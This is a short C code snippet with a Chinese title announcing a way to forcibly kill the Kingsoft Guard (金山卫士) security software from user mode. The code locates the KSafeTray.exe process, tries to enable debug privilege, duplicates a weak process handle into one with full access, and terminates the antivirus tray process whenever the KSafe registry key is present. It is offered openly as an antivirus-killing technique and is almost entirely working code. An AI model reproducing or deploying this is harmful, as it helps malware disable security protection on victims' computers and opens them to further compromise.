R3下强K金山卫士
制作人:DeeJayX
#include <Tlhelp32.h>
DWORD GetPID (char* proc)
{
BOOL working=0;
PROCESSENTRY32 lppe= {0};
DWORD targetPid=0;
HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS ,0);
if (hSnapshot)
{
lppe.dwSize=sizeof(lppe);
working=Process32First(hSnapshot,&lppe);
while (working)
{
if (_stricmp(lppe.szExeFile,proc)==0)//不区分大小写
{
targetPid=lppe.th32ProcessID;
break;
}
working=Process32Next(hSnapshot,&lppe);
}
}
CloseHandle( hSnapshot );
return targetPid;
}
BOOL EnablePrivilege1(HANDLE hToken,LPCSTR szPrivName)
{
TOKEN_PRIVILEGES tkp;
LookupPrivilegeValue( NULL,szPrivName,&tkp.Privileges[0].Luid );//修改进程权限
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );//通知系统修改进程权限
return( (GetLastError()==ERROR_SUCCESS) );
}
int killProcess(DWORD dwPID)
{
HANDLE hNewHandle;
HANDLE hCurrentProc = GetCurrentProcess();
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPID);
if(hProcess)
{
HANDLE hToken;
if (OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES,&hToken))
{
if (EnablePrivilege1(hToken,SE_DEBUG_NAME))
{
}
}
BOOL bIsSucc = DuplicateHandle(hCurrentProc, hProcess, hCurrentProc,
&hNewHandle,
PROCESS_ALL_ACCESS,
FALSE,
0);
if(bIsSucc)
{
TerminateProcess(hNewHandle, 0);
OutputDebugString("打开成功");
CloseHandle(hNewHandle);
}
else
{
OutputDebugString("打开失败");
}
CloseHandle(hProcess);
}
return 1;
}
HKEY ck;
if (ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)"SOFTWARE\\KSafe\\",0,KEY_ALL_ACCESS,&ck))
{
killProcess(GetPID("KSafeTray.exe"));
} |